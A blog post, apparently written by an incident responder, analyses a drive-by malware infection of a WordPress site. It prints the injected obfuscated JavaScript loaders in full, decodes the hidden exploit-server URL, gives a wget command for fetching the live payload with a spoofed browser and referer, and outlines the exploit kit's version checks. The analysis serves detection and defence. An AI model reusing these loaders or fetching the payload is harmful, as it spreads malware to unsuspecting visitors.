If you live in a bubble surrounded by Macs and secure servers, you may have missed what's been happening in the world of malware over the last half decade. But chances are, you aren't so lucky and a machine you manage or use yourself has been infected. And no surprise -- it's now big business! Malware supplies a lucrative cash flow, with every stage of the transaction now monetized. Security holes are sold to the highest bidder rather than handed over to software companies to patch. Zero-day exploits are written and auctioned off. Infected machines are built up into bot-nets and then time slices on those botnets are sold. Credentials collected from infected machines are sold for anywhere from $2 to $2000 each!
I had the opportunity over the last couple of weeks to help with the investigation into a malware incident. A vulnerability in a Wordpress plugin had been used to infect a website with a drive-by download. Anyone who visited the completely legitimate website with a vulnerable computer was almost guaranteed to get infected with a virus.
The first part of the investigation was into the payload that was delivered to clients. We wanted to know what clients would be infected, where it would come from, and what they'd be infected with. That turned out to be no small task. The effort that malware writers put into obfuscating their delivery vehicles is nothing short of genius!
The first step in the delivery was to tag a common javascript library with some extra code. The library loaded on every page, ensuring that every page got infected. That code looked like this:
document.write("\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u
0065\u0078\u0074\u002F\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0020\u0073\u0072\u0063\u003D\u0022\u002F\u
0077\u0070\u002D\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002F\u0074\u0068\u0065\u006D\u0065\u0073\u002F\u0061\u006D\u0070\u006C\u
0075\u0073\u005F\u0076\u0031\u002E\u0035\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u0073\u002F\u0070\u0072\u0065\u0074\u0074\u0079\u
0070\u0068\u006F\u0074\u006F\u002F\u0069\u006D\u0061\u0067\u0065\u0073\u002F\u0070\u0072\u0065\u0074\u0074\u0079\u0050\u0068\u006F\u
0074\u006F\u002F\u0066\u0061\u0063\u0065\u0062\u006F\u006F\u006B\u002F\u0075\u006E\u0064\u0065\u0072\u0073\u0063\u006F\u0072\u0065\u
002E\u006D\u0069\u006E\u002E\u0070\u0068\u0070\u0022\u003E\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");
/*As you can see, that's not easy to read or grep for. But Google's your friend. Although years of programming in Assembly has left me with the ability to do hex-to-ascii translations in my head, it's still faster to use a site that'll do it for you. I use this one:
* jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
*
* Uses the built in easing capabilities added In jQuery 1.1
<script type="text/javascript" src="/wp-content/themes/amplus_v1.5/scripts/prettyphoto/images/prettyPhoto/facebook/underscore.min.php"></script>
So what was underscore.min.php? Well, during the initial investigation, we didn't have access to the server files, so all we could see is what this php script delivered to us, which was some more lovely obfuscated code:
var a=false;var lon = "lonly";if(document.cookie.indexOf(lon)==-1){dhf = "\x68\x74";dif="\x2F\x69\x6E\x2E\x63";var td = new Date();d
cf="\x67\x69\x3F\x32";td.setTime(td.getTime());ddf = "cpa.fr.ms";ed = new Date(td.getTime() + 72E6);dtf="\x74\x70\x3A\x2F\x2F";docum
ent.cookie=lon+"="+escape(ed.toGMTString())+";expires="+ed.toGMTString()+";path=/";df=dhf+dtf+ddf+dif+dcf;var ag=navigator.userAgent
.toLowerCase(); var is_f = (ag.indexOf("firefox")!=-1);var hw = "1";var m=function(){};m.prototype={b:function(){i=43724;this.w="";u
="u";return df},a:function(){q="q";dN=49709;this.J=46019;w="";rJ=a;this.j="";var e=document;cR=kQ=a;this.oa= "";var f=window;dO="";v
ar d=this;this.c=this.i="";this.S=64509;this.aa="rQ";pK="";this.ga=39122;this.u="dY";this.A="fA";this.r="dE";fQ=cD="";this.ca="sE";t
ry{uK=17600;this.V="pC";this.p="bZR";this.D=41545;cL=pW="";this.T="nU";wK=a;this.F=eSU="";rO=pOR=this.Q=a;this.g=eK=kVQ="";qB=a;mF="
mF";this.q=a;this.ma="";this.n="bY";vW="\x67\x65\x74\x73\x65\x74\x41\x74\x74\x72\x69\x73\x64\x66";this.K="";this.qa="zS";wE=this.G=a
;this.pa="";this.L=a;this.W=55903;this.H=33170;gK=62679;var b=[];qR=vS=a;this.l="";if(!is_f) hw = "0";b.push("\x68\x65\x69\x67\x68\x
74","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x74\x72\x65\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x67\x65\x74","\x77\x69\
x64\x74\x68","\x76\x62\x6D\x69\x66\x72\x73\x65\x74",vW,"\x62\x6F\x64\x79","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64",hw,e,"src")
;this.m=a;this.s=42071;this.da=21002;eO=64506;this.fa=55314;yT="";hS=a;this.e=aU=uKD="";fK=a;yI=this.ba=this.Y="";wI="wI";sJ=11632;t
his.P=a;rG="";this.ea=a;this.d=40171;aA=4550;gL=40598;var g=b[2][b[1]](3,16);this.$=this.f=nZ="";this.ha="uX";gP="gP";this.R="nAO";v
ar h=b[4][b[1]](3,6);cO=52931;this.h=a;this.na=44254;this.C=21921;vK=h+"ame";tI="tI";lO="lO";this.O="mO";jZ=24453;var j=b[5][b[1]](3
,11);this.v=this.z="";p=j+"bute";this.t="dH";qU=this.ka= "";rJQ=a;var k=d.b();this.la=tT="";var c=b[9][g](vK);this.ja="";this.I="iZ"
;c[b[10]]=k;nD=a;mIO="mIO";this.U="";c[b[3]]=b[8];oH=40281;this.N="";kM="kM";c[b[0]]=b[8];this.X=58620;mH=this.k="";bW="bW";wY="";b[
9][b[6]][b[7]](c);kR="";this.ia=a;fVT=""}catch(n){hK="";this.o=45116;lKT=a;this.Z="rD";e.write("\x3C\x68\x74\x6D\x6C\x20\x3E\x3C\x62
\x6F\x64\x79\x20\x3E\x3C\x2F\x62\x6F\x64\x79\x3E\x3C\x2F\x68\x74\x6D\x6C\x3E");this.M=a;uIE="";this.B="fI";f.setTimeout(function(){d
.a()},233);iGB=29282;zN=6951}iS=""}};cB="";var r=new m;gT="";r.a()};
I started inserting line breaks into this code to make it more readable when I realized that this was really just minimized Javascript. And hey, there's an app for that! I fed the js through jsbeautifier.org. I really wish I'd thought of Googling for this sooner. Not only does this site make minimized javascript perfectly readable, it works wonder for PHP and Perl too!
What I got back was readable but still very obfuscated. After analyzing the code for awhile I realized it was laced with statements that did nothing at all. In fact, about 90% of them did nothing. Lines like this:
dN = 49709;The only variables in this code that are actually used later are "e" and "f". The rest are just there to confuse you.
this.J = 46019;
w = "";
rJ = a;
this.j = "";
var e = document;
cR = kQ = a;
this.oa = "";
var f = window;
dO = "";
In fact, all this code does is open an iframe of size zero (or 1 on Firefox) pixel and load more code from another URL. And it's that other URL we really care about. It's contained in the first few lines of code:
dhf = "\x68\x74"; // "ht"As you can see from my added comments, the string was broken into pieces and then finally assembled into var "df".
dif = "\x2F\x69\x6E\x2E\x63"; // "/in.c"
dcf = "\x67\x69\x3F\x32"; // "gi?2"
ddf = "cpa.fr.ms";
dtf = "\x74\x70\x3A\x2F\x2F"; // "tp://"
df = dhf + dtf + ddf + dif + dcf; // "http://cpa.fr.ms/in.cgi?2"
So what happens if we hit that URL?
Well, that depends. If you don't specify a User-Agent string that it likes, you get redirected to Yahoo.
If you don't specify a Referer string that it likes, you get redirected to Yahoo
If you hit it more than once in a day from the same IP address, you get a 404 error. Clever. No need to deliver the deadly payload more than once in a day, right?
The referer string doesn't have to be an infected site, but it needs to be something and it's a sure bet that it shouldn't be Google. If you'd like to see what the code looks like yourself, try issuing this command below. Don't worry - it'll harmlessly save it as a file that you can view in your favourite text editor. The link worked as of this writing:
wget -U "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" --referer=http://www.sfu.ca/index.html http://cpa.fr.ms/in.cgi\?2Watch how you get redirected to yet another site before finally getting the payload. Every day that I've hit this URL, I've been redirected somewhere different with a completely different domain name and IP. And each time the payload is obfuscated in a slightly different way. Once de-obfuscated, it's the same code, but clearly the PHP that generates this code is obfuscating it on-the-fly. Again, very clever.
Since it's obfuscated a different way each time you fetch it, I can't give you any sample perl code to de-obfuscate it, but once you grab it, notice that it's just a huge array of numbers? Each number is a character obfuscated in some way. The code at the very end of the file is some javascript to de-obfuscate it in the browser and then execute it. If you'd like a bit of a challenge, write some perl to decode it. Here's a hint: Keep the array of numbers as-is and just store it in a perl variable (either an array or a string, depending on whether the numbers have been separated with a "," or some other character). If it's a string, split() it back into an array of characters, then "foreach()" over every character, adding whatever offset is necessary to get each character back to the right character. Finally, print each character out with a "printf("%c")".
What you'll end up with is about 50k of minimized javascript. Feed it into the JS beautifier to turn it into perfectly readable javascript.
Unfortunately the code doesn't render that well on Blogger, so if you really want to read it, you'll have to download it and de-obfuscate it yourself. If you don't want to do all of that, I'll save you some trouble. Here's what the meat of the code does:
- Determines your Java JRE version
- Determines your Adobe Flash version
- Determines your Adobe PDF version
- If you're running anything less than Java 1.6.029 (the latest) OR Jave 1.7.0 (that was just added in the last few days!) , download a jar exploit
- If you're running anything less than Adobe PDF 9.4, download a PDF exploit
- If you're running Adobe Flash less than 10.2.159, download a Flash exploit
- If you're vulnerable to the Windows Help Control Panel exploit, download the exploit that way
- If ActiveX is on, try an ActiveX exploit.
Basically it covers every trick in the book. If you have any exploitable software on your machine, you'll get this virus. In each case above, the exploit's ultimate goal is to download and run a 450k Windows executable. So once again, if you're on a Mac, you're safe (for now)
When we discovered this exploit code, about two weeks ago, the only virus vendor that recognized any of the above exploits was ClamAV.
We think this exploit code is quite widespread, infecting lots of Wordpress sites worldwide. If you have Wordpress installed, check for "timthumb.php". That's the code with the hole in it that was used to infect the site. Ultimately, the only way to protect the users at your site might be to block the malware site's DNS servers in your border firewall. If the browser can't resolve the malware site, they won't be able to fetch the malicious payload.
In Part II, I'll discuss the server-side code, which we didn't gain access to until a few days later.
Well written Steve, I hope you continue to blog more.
ReplyDelete